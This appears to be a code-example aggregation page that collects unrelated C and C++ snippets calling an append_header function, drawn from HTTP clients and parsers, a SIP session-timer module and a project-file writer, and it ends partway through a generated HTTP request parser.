示例#1
0
文件: hmac.c 项目: WinnowTag/winnow
char * canonical_string(const char * method, const char * path, const struct curl_slist *headers) {
  // TOOD handle this
  Buffer *canon_s = new_buffer(256);
  buffer_in(canon_s, method, strlen(method));
  buffer_in(canon_s, "\n", 1);
  
  append_header(canon_s, headers, "Content-Type:");
  append_header(canon_s, headers, "Content-MD5:");
  append_header(canon_s, headers, "Date:");
  
  buffer_in(canon_s, path, strlen(path));
  
  buffer_in(canon_s, "\0", 1);
  char * return_string = canon_s->buf;
  free(canon_s);
  return return_string;
}
示例#2
0
        int jester::parse_options(int argc, char *argv[])
        {
            static const struct option longopts[] = {{"method", required_argument, NULL, 'm'},
                                                     {"uri", required_argument, NULL, 'u'},
                                                     {"data", required_argument, NULL, 'd'},
                                                     {"interactive", no_argument, NULL, 'i'},
                                                     {"content", required_argument, NULL, 'c'},
                                                     {"header", required_argument, NULL, 'h'},
                                                     {NULL, 0, NULL, 0}};
            int opt;
            std::shared_ptr<jest::arg_pair> pair;

            while ((opt = getopt_long(argc, argv, "u:m:d:ih:", longopts, NULL)) != -1) {
                switch (opt) {
                    case 'u':
                        set_uri(optarg);
                        break;
                    case 'm':
                        if (!set_method(optarg)) {
                            printf("Unknown HTTP method %s\n", optarg);
                            return EXIT_FAILURE;
                        }
                        break;
                    case 'd':
                        pair = jest::split_arg(optarg, "=");
                        if (!pair) {
                            printf("Data should be in key=value format.");
                            return EXIT_FAILURE;
                        }
                        append_data(*pair);
                        break;
                    case 'c':
                        set_content(optarg);
                        break;
                    case 'i':
                        set_interactive(true);
                        break;
                    case 'h':
                        pair = jest::split_arg(optarg, ":");
                        if (!pair) {
                            printf("header should be in key:value format.");
                            return EXIT_FAILURE;
                        }
                        append_header(*pair);
                        break;
                    default:
                        syntax(argv[0]);
                        return EXIT_FAILURE;
                }
            }
            return EXIT_SUCCESS;
        }
示例#3
0
void
read_response()
{
	if (process_response()) {
		error("Failed to read response\n");
		disconnect();		
		return;
	}
	if (!client.response->done) {
		add_resp_socket(client.socket->fd);
		return;
	}
	Response tmp = client.response;
	client.request = client.response->request;
	client.socket = client.request->socket;
	client.response = client.request->response;
	append_header(client.response->headers,_("data"),from(tmp->contents,tmp->body,len(tmp->contents) - tmp->body));
	append_header(client.response->headers,_("status"),from(tmp->contents,9,3));
	close_socket(tmp->socket);
	connection(client.response->headers,"close");
	add_write_socket(client.response->socket->fd);
}
示例#4
0
str
deauth_path(str host, str filename)
{
	size_t l = len(filename);
	if (is_directory(file_path(host,filename)) || is_file(file_path(host,filename))) 
		return file_path(host,filename);
	for (int i = 1; i < l; ++i) {
		if (at(filename,i) == '/' && is_directory(file_path(host,ref(filename->data+i,l-i)))) {
			debug("Found auth token [%s]",ref(filename->data+1,i-1));
			append_header(client.request->headers,_("Token"),ref(filename->data+1,i-1));
			return file_path(host,ref(filename->data+i,l-i));
		}
	}
	return file_path(host,filename);
}
 void canonicalizer_helper::append_date_header(bool allow_x_ms_date)
 {
     utility::string_t value;
     if (!m_request.headers().match(ms_header_date, value))
     {
         append_header(web::http::header_names::date);
     }
     else if (allow_x_ms_date)
     {
         append(value);
     }
     else
     {
         append(utility::string_t());
     }
 }
示例#6
0
文件: parser.hpp 项目: dbarobin/steem
inline void parser::process_header(std::string::iterator begin,
    std::string::iterator end)
{
    std::string::iterator cursor = std::search(
        begin,
        end,
        header_separator,
        header_separator + sizeof(header_separator) - 1
    );

    if (cursor == end) {
        throw exception("Invalid header line",status_code::bad_request);
    }

    append_header(strip_lws(std::string(begin,cursor)),
                  strip_lws(std::string(cursor+sizeof(header_separator)-1,end)));
}
示例#7
0
static guint
append_table (GString *string,
              GHashTable *headers)
{
  GHashTableIter iter;
  gpointer key;
  gpointer value;
  guint seen = 0;

  if (headers)
    {
      g_hash_table_iter_init (&iter, headers);
      while (g_hash_table_iter_next (&iter, &key, &value))
        seen |= append_header (string, key, value);
    }

  return seen;
}
示例#8
0
int PrepareProcedures(char* schema) 
{
	new_database();
	str sql = _("SELECT * from functions_in('%c');", schema);
	int res = query(sql);
	if (res < 0) {
		dblog("%s",db_error());
		close_database(db);
		return 1;
	}
	stored_procedures = new_headers();
	for (int i = 0; i < res && i < MAX_HEADERS; ++i) {
		str proc = fetch(i,0);
		append_header(stored_procedures,proc,_("SELECT * FROM %s(",proc));
	}
	close_database(db);
	return 0;
}
示例#9
0
static guint
append_va (GString *string,
           va_list va)
{
  const gchar *name;
  const gchar *value;
  guint seen = 0;

  for (;;)
    {
      name = va_arg (va, const gchar *);
      if (!name)
        break;
      value = va_arg (va, const gchar *);
      seen |= append_header (string, name, value);
    }

  return seen;
}
示例#10
0
inline bool parser::parse_headers(std::istream & s) {
    std::string header;
    std::string::size_type end;
    
    // get headers
    while (std::getline(s, header) && header != "\r") {
        if (header[header.size()-1] != '\r') {
            continue; // ignore malformed header lines?
        } else {
            header.erase(header.end()-1);
        }
        
        end = header.find(header_separator,0);
        
        if (end != std::string::npos) {         
            append_header(header.substr(0,end),header.substr(end+2));
        }
    }
    
    return true;
}
示例#11
0
/**
 * This callback is called on any response message in the lifespan of
 * the dialog. The callback is called just before the message is
 * copied to pkg memory so it is still mutable.
 *
 * @param did - The dialog structure. The pointer is used as an ID.
 * @param type - The reason for the callback. DLGCB_CONFIRMED
 * @param params - The sst information
 */
static void sst_dialog_response_fwded_CB(struct dlg_cell* did, int type,
		struct dlg_cb_params * params)
{
	struct sip_msg* msg = params->msg;
	int *param;
	short info_dirty = 0;

	/*
	 * This test to see if the message is a response sould ALWAYS be
	 * true. This callback should not get called for requests. But
	 * lets be safe.
	 */

	if (msg->first_line.type != SIP_REPLY)
		return;

	sst_msg_info_t minfo = {0,0,0,0};
	sst_info_t *info = (sst_info_t *)*(params->param);
	sst_info_t tmp_info;

	LM_DBG("Dialog seen REPLY %d %.*s\n",
			msg->first_line.u.reply.statuscode,
			msg->first_line.u.reply.reason.len,
			msg->first_line.u.reply.reason.s);
	/*
	 * Need to check to see if it is a 422 response. If it is,
	 * make sure our Min-SE: for this dialog is set at least as
	 * large as in the Min-SE: in the reply 422 message. If not,
	 * we will create an INVITE, 422 loop.
	 */
	if (msg->first_line.u.reply.statuscode == 422) {
		if (parse_msg_for_sst_info(msg, &minfo)) {
			LM_ERR("failed to prase sst information for thr 422 reply\n");
			return;
		}
		/* Make sure we do not try to use anything smaller */
		if (info->interval < minfo.min_se)
			CHECK_AND_UPDATE_SST_INFO(info, interval, minfo.min_se, info_dirty);

		goto update_info; /* There is nothing else to do with this */
	}
	/*
	 * We need to get the method this reply is for from the CSEQ
	 * body. The RFC states we can only play with 2XX from the
	 * INVITE or reINVTE/UPDATE.
	 */
	if (!msg->cseq && ((parse_headers(msg, HDR_CSEQ_F, 0) == -1) || !msg->cseq)) {
		LM_ERR("failed to parse CSeq\n");
		return;
	}

	/* 2XX replies to INVITES only !*/
	if (msg->first_line.u.reply.statuscode > 199 &&
			msg->first_line.u.reply.statuscode < 300 &&
			(get_cseq(msg)->method_id == METHOD_INVITE ||
					get_cseq(msg)->method_id == METHOD_UPDATE)) {
		if (parse_msg_for_sst_info(msg, &minfo)) {
			LM_ERR("failed to parse sst information for the 2XX reply\n");
			return;
		}
		LM_DBG("parsing 200 OK response %d / %d\n", minfo.supported, minfo.se);
		if (info->supported != SST_UAC) {
			CHECK_AND_UPDATE_SST_INFO_TMP(info, supported,
					(minfo.supported?SST_UAS:SST_UNDF),info_dirty, tmp_info);
		}
		if (minfo.se != 0) {
			if (sst_interval > minfo.min_se)
				CHECK_AND_UPDATE_SST_INFO(info, interval, sst_interval, info_dirty);
			else
				CHECK_AND_UPDATE_SST_INFO_TMP(info, interval,
						MAX(minfo.se, sst_min_se), info_dirty, tmp_info);
			LM_DBG("UAS supports timer\n");
			set_dialog_lifetime(did, info->interval);
		}
		else {
			/* no se header found, we want to resquest it. */
			if (info->supported == SST_UAC) {
				char se_buf[80];

				LM_DBG("UAC supports timer\n");
				LM_DBG("appending the Session-Expires: header to the 2XX reply."
						" UAC will deal with it.\n");
				/*
				 * GOOD! we can just insert the Session-Expires:
				 * header and forward back to the UAC and it will
				 * deal with refreshing the session.
				 */
				if (sst_interval > minfo.min_se)
					CHECK_AND_UPDATE_SST_INFO(info, interval, sst_interval,
							info_dirty);
				else
					CHECK_AND_UPDATE_SST_INFO_TMP(info, interval,
						MAX(minfo.se, sst_min_se), info_dirty, tmp_info);
				snprintf(se_buf, 80, "Session-Expires: %d;refresher=uac\r\n",
						info->interval);
				if (append_header(msg, se_buf)) {
					LM_ERR("failed to append Session-Expires header\n");
					return;
				}
				/* Set the dialog timeout HERE */
				set_dialog_lifetime(did, info->interval);
			}
			else {
				/* We are sunk, uac did not request it, and it
				 * does not support it */
				LM_DBG("UAC and UAS do not support timers!"
						" No session timers for this session.\n");
				param = find_param_export("dialog", "default_timeout", INT_PARAM);
				CHECK_AND_UPDATE_SST_INFO_TMP(info, interval,
						param?*param:12*3600, info_dirty, tmp_info);
				set_dialog_lifetime(did, info->interval);
			}
		}
	} /* End of 2XX for an INVITE */

update_info:
	if (info_dirty){
		str raw_info = {(char*)info, sizeof(sst_info_t)};
		if (dlg_binds->store_dlg_value(did, &info_val_name, &raw_info) != 0) {
			LM_ERR("sst_info can't be updated\n");
		}
	}
}
示例#12
0
/**
 * Every time a new dialog is created (from a new INVITE) the dialog
 * module will call this callback function. We need to track the
 * dialogs lifespan from this point forward until it is terminated
 * with a BYE, CANCEL, etc. In the process, we will see if either or
 * both ends of the conversation supports SIP Session Timers and setup
 * the dialog timeout to expire at the session timer expire time. Each
 * time the new re-INVITE is seen to update the SST, we will reset the
 * life span of the dialog to match it.
 *
 * This function will setup the other types of dialog callbacks
 * required to track the lifespan of the dialog. It will also start
 * the state tracking to figure out if and who supports SST.
 *
 * As per RFC4028: Request handling:
 *
 * - The proxy may insert a SE header if none found.
 * - The SE value can be anything >= Min-SE (if found)
 * - The proxy MUST NOT add a refresher parameter to the SE.
 *
 * - If SE is already there, the Proxy can reduce its value but no
 *   lower then the Min-SE value if present.
 * - If the SE value is >= Min-SE the proxy MUST NOT increase it!
 * - If the SE value is < Min-SE (settable by the proxy) the proxy
 *   MUST increase the SE value to >= the new Min-SE.
 * - The proxy MUST NOT insert or change the refresher parameter.
 *
 * - If the supported=timer is found, the proxy may reject the request
 *   with a 422 if the SE value is smaller then the local policy. The
 *   422 MUST hold the proxies Min-SE value >= 90.
 * - If support=timer is NOT indecated, the proxy can't reject with a
 *   422 but can include/increase the MIN-SE: to be = to local policy.
 *   and increase the SE to match the new Min-SE value.
 * - the proxy MUST NOT insert/change the Min-SE header if
 *   supported=timer is present. (DoS attacks)
 *
 * @param did - The dialog ID
 * @param type - The trigger event type (CREATED)
 * @param params - The pointer to nothing. As we did not attach
 *                anything to this callback in the dialog module.
 */
void sst_dialog_created_CB(struct dlg_cell *did, int type,
		struct dlg_cb_params * params)
{
	sst_info_t *info = NULL;
	sst_msg_info_t minfo;
	struct sip_msg* msg = params->msg;

	memset(&minfo, 0, sizeof(sst_msg_info_t));
	/*
	 * Only deal with messages flaged as SST interested.
	 */
	if ((msg->flags & sst_flag) != sst_flag) {
		LM_DBG("SST flag was not set for this request\n");
		return;
	}

	/*
	 * look only at INVITE
	 */
	if (msg->first_line.type != SIP_REQUEST ||
			msg->first_line.u.request.method_value != METHOD_INVITE) {
		LM_WARN("dialog create callback called with a non-INVITE request.\n");
		return;
	}

	/*
	 * Gather all he information about SST for this message
	 */
	if (parse_msg_for_sst_info(msg, &minfo)) {
		LM_ERR("failed to parse sst information\n");
		return;
	}

	info = (sst_info_t *)shm_malloc(sizeof(sst_info_t));
	memset(info, 0, sizeof(sst_info_t));
	info->requester = (minfo.se?SST_UAC:SST_UNDF);
	info->supported = (minfo.supported?SST_UAC:SST_UNDF);
	info->interval = MAX(sst_interval, 90); /* For now, will set for real
										  * later */

	if (minfo.se != 0) {
		/*
		 * There is a SE already there, this is good, we just need to
		 * check the values out a little before passing it along.
		 */
		if (minfo.se < sst_min_se) {
			/*
			 * Problem, the requested Session-Expires is too small for
			 * our local policy. We need to fix it, or reject it or
			 * ignore it.
			 */
			if (!minfo.supported) {
				/*
				 * Increase the Min-SE: value in the request and
				 * forward it.
				 */
				char buf[80];
				if (minfo.min_se) {
					/* We need to update, which means, remove +
					 * insert */
					remove_minse_header(msg);
				}
				info->interval = MAX(sst_min_se, minfo.min_se);
				snprintf(buf, 80, "Min-SE: %d\r\n", info->interval);
				if (append_header(msg, buf)) {
					LM_ERR("Could not append modified Min-SE: header\n");
				}
			}
			else if (sst_reject) {
				/* Make sure that that all are at least 90 */
				send_reject(msg, MAX(MAX(sst_min_se, minfo.min_se), 90));
				shm_free(info);
				return;
			}
		}  /* end of se < sst_min_se */
		else {
			/* Use the INVITE SE: value */
			info->interval = minfo.se;
		}
	}
	else {
		/*
		 * No Session-Expire: stated in request.
		 */
		char buf[80];

		info->interval = MAX(minfo.min_se, sst_min_se);

		if (minfo.min_se && minfo.min_se < sst_min_se) {
			remove_minse_header(msg);
			snprintf(buf, 80, "Min-SE: %d\r\n", info->interval);
			if (append_header(msg, buf)) {
				LM_ERR("failed to append modified Min-SE: header\n");
				/* What to do? Let is slide, we can still work */
			}
		}

		info->interval = MAX(info->interval, sst_interval);
		info->requester = SST_PXY;
		snprintf(buf, 80, "Session-Expires: %d\r\n", info->interval);
		if (append_header(msg, buf)) {
			LM_ERR("failed to append Session-Expires header to proxy "
					"requested SST.\n");
			shm_free(info);
			return; /* Nothing we can do! */
		}
	}
	/* We keep the sst_info in the dialog's vals in case of restarting */
	/* No const here because of store_dlg_value's definition */
	str raw_info = {(char*)info, sizeof(sst_info_t)};
	if (dlg_binds->store_dlg_value(did, &info_val_name, &raw_info) != 0) {
		LM_ERR("No sst_info can be added to the dialog."
				"This dialog won't be considered after restart!\n");
	}

	dlg_binds->set_mod_flag(did, SST_DIALOG_FLAG);

	setup_dialog_callbacks(did, info);
	/* Early setup of default timeout */
	set_dialog_lifetime(did, info->interval);
	return;
}
示例#13
0
/*
 * hsc_write_project_file
 *
 * store all project-data in a string and write it to
 * the file specified with hsc_set_project_filename()
 */
BOOL hsc_project_write_file(HSCPRJ * hp, STRPTR project_fname)
{
    BOOL written = FALSE;

    if (hp && !hp->fatal && project_fname)
    {
        EXPSTR *prjstr = init_estr(256);
        DLNODE *nd = NULL;
        FILE *outfile = NULL;

        DP(fprintf(stderr, DHP "update project file `%s'\n",
                     project_fname));

        /* append header information */
        append_header(prjstr);

        /* append current document to project */
        hsc_project_add_document(hp);

        /*
         * append all old project info of other files
         */
        nd = dll_first(hp->documents);
        while (nd)
        {
            HSCDOC *document = (HSCDOC *) nd->data;

            append_document(prjstr, document);

            nd = dln_next(nd);
        }

        DP(fprintf(stderr, DHP "project file contains:\n%s", estr2str(prjstr)));

        /* write new project file */
        errno = 0;
        outfile = fopen(project_fname, "w");
        if (outfile)
        {
            errno = 0;
            fwrite(estr2str(prjstr), sizeof(char),
                   estrlen(prjstr), outfile);

            if (errno)
            {
                DP(fprintf(stderr, DHP "can't write project file\n"));
                /* TODO: show message "can't open project file" */
            }
            else
                written = TRUE;
        }
        else
        {
            DP(fprintf(stderr, DHP "can't open project file for output\n"));
            /* TODO: show message "can't open project file" */
        }

        del_estr(prjstr);
    }
    else
    {
        D(fprintf(stderr, DHP "no update project\n"));
    }

    return (written);
}
示例#14
0
int
do_parse(request_t* request)
{
    int started = 0;
    int status;
    char* buffer;
    size_t length;
    char* p;
    char* pe;
    int cs;
    int gensaved = 0;
    int urisaved = 0;
    
    do
    {
        // Get a chunk of data to parse.
        status = fill_buffer(request, &buffer, &length);
        if(status < 0 || (status == 0 && started)) return -1;
        if(status == 0) return 0;
        started = 1;

        // If we saved some state in the buffers we need
        // to reinitialize them before resuming parsing.

        if(gensaved) reinit_buffer(request->genbuf, buffer);
        gensaved = 0;
        
        if(urisaved) reinit_buffer(request->uribuf, buffer);
        urisaved = 0;

        // Setup and run the main parse loop saving the
        // parse state afterwards.

        cs = request->cs;
        p = buffer;
        pe = buffer + length;

        
#line 219 "./c_src/request.c"
	{
	if ( p == pe )
		goto _test_eof;
	switch ( cs )
	{
case 1:
	switch( (*p) ) {
		case 36: goto tr0;
		case 95: goto tr0;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto tr0;
	} else if ( (*p) > 57 ) {
		if ( 65 <= (*p) && (*p) <= 90 )
			goto tr0;
	} else
		goto tr0;
	goto st0;
st0:
cs = 0;
	goto _out;
tr0:
#line 39 "./c_src/request.rl"
	{
        assert(request->genbuf->pos == NULL && "won't overwrite a mark.");
        request->genbuf->pos = p;
    }
	goto st2;
st2:
	if ( ++p == pe )
		goto _test_eof2;
case 2:
#line 253 "./c_src/request.c"
	switch( (*p) ) {
		case 9: goto tr2;
		case 32: goto tr2;
		case 36: goto st48;
		case 95: goto st48;
	}
	if ( (*p) < 48 ) {
		if ( 45 <= (*p) && (*p) <= 46 )
			goto st48;
	} else if ( (*p) > 57 ) {
		if ( 65 <= (*p) && (*p) <= 90 )
			goto st48;
	} else
		goto st48;
	goto st0;
tr2:
#line 44 "./c_src/request.rl"
	{
        request->method = buffer_to_string(request->genbuf, p);
        if(request->method == NULL) {p++; cs = 3; goto _out;}
    }
	goto st3;
st3:
	if ( ++p == pe )
		goto _test_eof3;
case 3:
#line 280 "./c_src/request.c"
	switch( (*p) ) {
		case 9: goto tr4;
		case 32: goto tr4;
		case 35: goto tr5;
		case 42: goto tr6;
		case 43: goto tr7;
		case 47: goto tr8;
		case 63: goto tr9;
	}
	if ( (*p) < 65 ) {
		if ( 45 <= (*p) && (*p) <= 57 )
			goto tr7;
	} else if ( (*p) > 90 ) {
		if ( 97 <= (*p) && (*p) <= 122 )
			goto tr7;
	} else
		goto tr7;
	goto st0;
tr4:
#line 82 "./c_src/request.rl"
	{
        assert(request->uribuf->pos == NULL && "wont overwrite uri mark");
        request->uribuf->pos = p;
    }
#line 87 "./c_src/request.rl"
	{
        request->uri = buffer_to_string(request->uribuf, p);
        if(request->fragment == NULL) {p++; cs = 4; goto _out;}
    }
	goto st4;
st4:
	if ( ++p == pe )
		goto _test_eof4;
case 4:
#line 315 "./c_src/request.c"
	switch( (*p) ) {
		case 9: goto tr4;
		case 32: goto tr4;
		case 35: goto tr5;
		case 42: goto tr6;
		case 43: goto tr7;
		case 47: goto tr8;
		case 63: goto tr9;
		case 72: goto tr10;
	}
	if ( (*p) < 65 ) {
		if ( 45 <= (*p) && (*p) <= 57 )
			goto tr7;
	} else if ( (*p) > 90 ) {
		if ( 97 <= (*p) && (*p) <= 122 )
			goto tr7;
	} else
		goto tr7;
	goto st0;
tr5:
#line 82 "./c_src/request.rl"
	{
        assert(request->uribuf->pos == NULL && "wont overwrite uri mark");
        request->uribuf->pos = p;
    }
	goto st5;
tr51:
#line 54 "./c_src/request.rl"
	{
        request->host = buffer_to_string(request->genbuf, p);
        if(request->host == NULL) {p++; cs = 5; goto _out;}
    }
	goto st5;
tr57:
#line 67 "./c_src/request.rl"
	{
        request->path = buffer_to_string(request->genbuf, p);
        if(request->path == NULL) {p++; cs = 5; goto _out;}
    }
	goto st5;
tr63:
#line 39 "./c_src/request.rl"
	{
        assert(request->genbuf->pos == NULL && "won't overwrite a mark.");
        request->genbuf->pos = p;
    }
#line 72 "./c_src/request.rl"
	{
        request->query = buffer_to_string(request->genbuf, p);
        if(request->query == NULL) {p++; cs = 5; goto _out;}
    }
	goto st5;
tr67:
#line 72 "./c_src/request.rl"
	{
        request->query = buffer_to_string(request->genbuf, p);
        if(request->query == NULL) {p++; cs = 5; goto _out;}
    }
	goto st5;
tr71:
#line 59 "./c_src/request.rl"
	{
        request->port = 0;
    }
	goto st5;
st5:
	if ( ++p == pe )
		goto _test_eof5;
case 5:
#line 385 "./c_src/request.c"
	switch( (*p) ) {
		case 9: goto tr11;
		case 32: goto tr11;
		case 37: goto tr13;
		case 61: goto tr12;
		case 95: goto tr12;
	}
	if ( (*p) < 44 ) {
		if ( (*p) > 34 ) {
			if ( 36 <= (*p) && (*p) <= 42 )
				goto tr12;
		} else if ( (*p) >= 33 )
			goto tr12;
	} else if ( (*p) > 59 ) {
		if ( (*p) > 90 ) {
			if ( 97 <= (*p) && (*p) <= 122 )
				goto tr12;
		} else if ( (*p) >= 64 )
			goto tr12;
	} else
		goto tr12;
	goto st0;
tr11:
#line 39 "./c_src/request.rl"
	{
        assert(request->genbuf->pos == NULL && "won't overwrite a mark.");
        request->genbuf->pos = p;
    }
#line 77 "./c_src/request.rl"
	{
        request->fragment = buffer_to_string(request->genbuf, p);
        if(request->fragment == NULL) {p++; cs = 6; goto _out;}
    }
#line 87 "./c_src/request.rl"
	{
        request->uri = buffer_to_string(request->uribuf, p);
        if(request->fragment == NULL) {p++; cs = 6; goto _out;}
    }
	goto st6;
tr39:
#line 77 "./c_src/request.rl"
	{
        request->fragment = buffer_to_string(request->genbuf, p);
        if(request->fragment == NULL) {p++; cs = 6; goto _out;}
    }
#line 87 "./c_src/request.rl"
	{
        request->uri = buffer_to_string(request->uribuf, p);
        if(request->fragment == NULL) {p++; cs = 6; goto _out;}
    }
	goto st6;
tr43:
#line 87 "./c_src/request.rl"
	{
        request->uri = buffer_to_string(request->uribuf, p);
        if(request->fragment == NULL) {p++; cs = 6; goto _out;}
    }
	goto st6;
tr50:
#line 54 "./c_src/request.rl"
	{
        request->host = buffer_to_string(request->genbuf, p);
        if(request->host == NULL) {p++; cs = 6; goto _out;}
    }
#line 87 "./c_src/request.rl"
	{
        request->uri = buffer_to_string(request->uribuf, p);
        if(request->fragment == NULL) {p++; cs = 6; goto _out;}
    }
	goto st6;
tr55:
#line 67 "./c_src/request.rl"
	{
        request->path = buffer_to_string(request->genbuf, p);
        if(request->path == NULL) {p++; cs = 6; goto _out;}
    }
#line 87 "./c_src/request.rl"
	{
        request->uri = buffer_to_string(request->uribuf, p);
        if(request->fragment == NULL) {p++; cs = 6; goto _out;}
    }
	goto st6;
tr61:
#line 39 "./c_src/request.rl"
	{
        assert(request->genbuf->pos == NULL && "won't overwrite a mark.");
        request->genbuf->pos = p;
    }
#line 72 "./c_src/request.rl"
	{
        request->query = buffer_to_string(request->genbuf, p);
        if(request->query == NULL) {p++; cs = 6; goto _out;}
    }
#line 87 "./c_src/request.rl"
	{
        request->uri = buffer_to_string(request->uribuf, p);
        if(request->fragment == NULL) {p++; cs = 6; goto _out;}
    }
	goto st6;
tr65:
#line 72 "./c_src/request.rl"
	{
        request->query = buffer_to_string(request->genbuf, p);
        if(request->query == NULL) {p++; cs = 6; goto _out;}
    }
#line 87 "./c_src/request.rl"
	{
        request->uri = buffer_to_string(request->uribuf, p);
        if(request->fragment == NULL) {p++; cs = 6; goto _out;}
    }
	goto st6;
tr70:
#line 59 "./c_src/request.rl"
	{
        request->port = 0;
    }
#line 87 "./c_src/request.rl"
	{
        request->uri = buffer_to_string(request->uribuf, p);
        if(request->fragment == NULL) {p++; cs = 6; goto _out;}
    }
	goto st6;
st6:
	if ( ++p == pe )
		goto _test_eof6;
case 6:
#line 512 "./c_src/request.c"
	switch( (*p) ) {
		case 9: goto st6;
		case 32: goto st6;
		case 72: goto st7;
	}
	goto st0;
st7:
	if ( ++p == pe )
		goto _test_eof7;
case 7:
	if ( (*p) == 84 )
		goto st8;
	goto st0;
st8:
	if ( ++p == pe )
		goto _test_eof8;
case 8:
	if ( (*p) == 84 )
		goto st9;
	goto st0;
st9:
	if ( ++p == pe )
		goto _test_eof9;
case 9:
	if ( (*p) == 80 )
		goto st10;
	goto st0;
st10:
	if ( ++p == pe )
		goto _test_eof10;
case 10:
	if ( (*p) == 47 )
		goto st11;
	goto st0;
st11:
	if ( ++p == pe )
		goto _test_eof11;
case 11:
	if ( 48 <= (*p) && (*p) <= 57 )
		goto tr20;
	goto st0;
tr20:
#line 92 "./c_src/request.rl"
	{
        request->vsn_major = 0;
    }
#line 96 "./c_src/request.rl"
	{
        request->vsn_major = request->vsn_major*10 + ((*p)-'0');
    }
	goto st12;
tr22:
#line 96 "./c_src/request.rl"
	{
        request->vsn_major = request->vsn_major*10 + ((*p)-'0');
    }
	goto st12;
st12:
	if ( ++p == pe )
		goto _test_eof12;
case 12:
#line 574 "./c_src/request.c"
	if ( (*p) == 46 )
		goto st13;
	if ( 48 <= (*p) && (*p) <= 57 )
		goto tr22;
	goto st0;
st13:
	if ( ++p == pe )
		goto _test_eof13;
case 13:
	if ( 48 <= (*p) && (*p) <= 57 )
		goto tr23;
	goto st0;
tr23:
#line 100 "./c_src/request.rl"
	{
        request->vsn_minor = 0;
    }
#line 104 "./c_src/request.rl"
	{
        request->vsn_minor = request->vsn_minor*10 + ((*p)-'0');
    }
	goto st14;
tr26:
#line 104 "./c_src/request.rl"
	{
        request->vsn_minor = request->vsn_minor*10 + ((*p)-'0');
    }
	goto st14;
st14:
	if ( ++p == pe )
		goto _test_eof14;
case 14:
#line 607 "./c_src/request.c"
	switch( (*p) ) {
		case 9: goto st15;
		case 13: goto st16;
		case 32: goto st15;
	}
	if ( 48 <= (*p) && (*p) <= 57 )
		goto tr26;
	goto st0;
st15:
	if ( ++p == pe )
		goto _test_eof15;
case 15:
	switch( (*p) ) {
		case 9: goto st15;
		case 13: goto st16;
		case 32: goto st15;
	}
	goto st0;
st16:
	if ( ++p == pe )
		goto _test_eof16;
case 16:
	if ( (*p) == 10 )
		goto st17;
	goto st0;
tr38:
#line 134 "./c_src/request.rl"
	{
        if(*p == ' ' || *p == '\t')
        {
            request->continued = 1;
            p--;
            {goto st20;}
        }
        else if(*p == '\r')
        {
            if(!append_header(request, p)) {p++; cs = 17; goto _out;}
            p--;
            {goto st68;}
        }
        else
        {
            if(!append_header(request, p)) {p++; cs = 17; goto _out;}
            p--;
            {goto st67;}
        }
    }
	goto st17;
st17:
	if ( ++p == pe )
		goto _test_eof17;
case 17:
#line 660 "./c_src/request.c"
	switch( (*p) ) {
		case 13: goto st18;
		case 33: goto tr29;
		case 124: goto tr29;
		case 126: goto tr29;
	}
	if ( (*p) < 45 ) {
		if ( (*p) > 39 ) {
			if ( 42 <= (*p) && (*p) <= 43 )
				goto tr29;
		} else if ( (*p) >= 35 )
			goto tr29;
	} else if ( (*p) > 46 ) {
		if ( (*p) < 65 ) {
			if ( 48 <= (*p) && (*p) <= 57 )
				goto tr29;
		} else if ( (*p) > 90 ) {
			if ( 94 <= (*p) && (*p) <= 122 )
				goto tr29;
		} else
			goto tr29;
	} else
		goto tr29;
	goto st0;
st18:
	if ( ++p == pe )
		goto _test_eof18;
case 18:
	if ( (*p) == 10 )
		goto tr30;
	goto st0;
tr30:
#line 155 "./c_src/request.rl"
	{
        build_version(request);
        {p++; cs = 69; goto _out;}
    }
	goto st69;
st69:
	if ( ++p == pe )
		goto _test_eof69;
case 69:
#line 703 "./c_src/request.c"
	goto st0;
tr29:
#line 108 "./c_src/request.rl"
	{
        assert(request->hdr_name == NULL && "header name already marked");        
        assert(request->genbuf->pos == NULL && "wont overwrite a mark");
        request->genbuf->pos = p;
    }
	goto st19;
st19:
	if ( ++p == pe )
		goto _test_eof19;
case 19:
#line 717 "./c_src/request.c"
	switch( (*p) ) {
		case 33: goto st19;
		case 58: goto tr32;
		case 124: goto st19;
		case 126: goto st19;
	}
	if ( (*p) < 45 ) {
		if ( (*p) > 39 ) {
			if ( 42 <= (*p) && (*p) <= 43 )
				goto st19;
		} else if ( (*p) >= 35 )
			goto st19;
	} else if ( (*p) > 46 ) {
		if ( (*p) < 65 ) {
			if ( 48 <= (*p) && (*p) <= 57 )
				goto st19;
		} else if ( (*p) > 90 ) {
			if ( 94 <= (*p) && (*p) <= 122 )
				goto st19;
		} else
			goto st19;
	} else
		goto st19;
	goto st0;
tr32:
#line 114 "./c_src/request.rl"
	{
        request->hdr_name = buffer_to_string(request->genbuf, p);
        if(request->hdr_name == NULL) {p++; cs = 20; goto _out;}
    }
	goto st20;
st20:
	if ( ++p == pe )
		goto _test_eof20;
case 20:
#line 753 "./c_src/request.c"
	if ( (*p) == 13 )
		goto tr34;
	goto tr33;
tr33:
#line 119 "./c_src/request.rl"
	{
        assert(request->hdr_name != NULL && "value must have a name");
        assert(request->continued ||
                    (request->genbuf->pos == NULL && "wont overwrite a mark"));
        
        if(request->continued)
        {
            request->continued = 1;
        }
        else
        {
            request->genbuf->pos = p;
        }
    }
	goto st21;
st21:
	if ( ++p == pe )
		goto _test_eof21;
case 21:
#line 778 "./c_src/request.c"
	if ( (*p) == 13 )
		goto st22;
	goto st21;
tr34:
#line 119 "./c_src/request.rl"
	{
        assert(request->hdr_name != NULL && "value must have a name");
        assert(request->continued ||
                    (request->genbuf->pos == NULL && "wont overwrite a mark"));
        
        if(request->continued)
        {
            request->continued = 1;
        }
        else
        {
            request->genbuf->pos = p;
        }
    }
	goto st22;
st22:
	if ( ++p == pe )
		goto _test_eof22;
case 22:
#line 803 "./c_src/request.c"
	if ( (*p) == 10 )
		goto st23;
	goto st0;
st23:
	if ( ++p == pe )
		goto _test_eof23;
case 23:
	goto tr38;
tr12:
#line 39 "./c_src/request.rl"
	{
        assert(request->genbuf->pos == NULL && "won't overwrite a mark.");
        request->genbuf->pos = p;
    }
	goto st24;
st24:
	if ( ++p == pe )
		goto _test_eof24;
case 24:
#line 823 "./c_src/request.c"
	switch( (*p) ) {
		case 9: goto tr39;
		case 32: goto tr39;
		case 37: goto st25;
		case 61: goto st24;
		case 95: goto st24;
	}
	if ( (*p) < 44 ) {
		if ( (*p) > 34 ) {
			if ( 36 <= (*p) && (*p) <= 42 )
				goto st24;
		} else if ( (*p) >= 33 )
			goto st24;
	} else if ( (*p) > 59 ) {
		if ( (*p) > 90 ) {
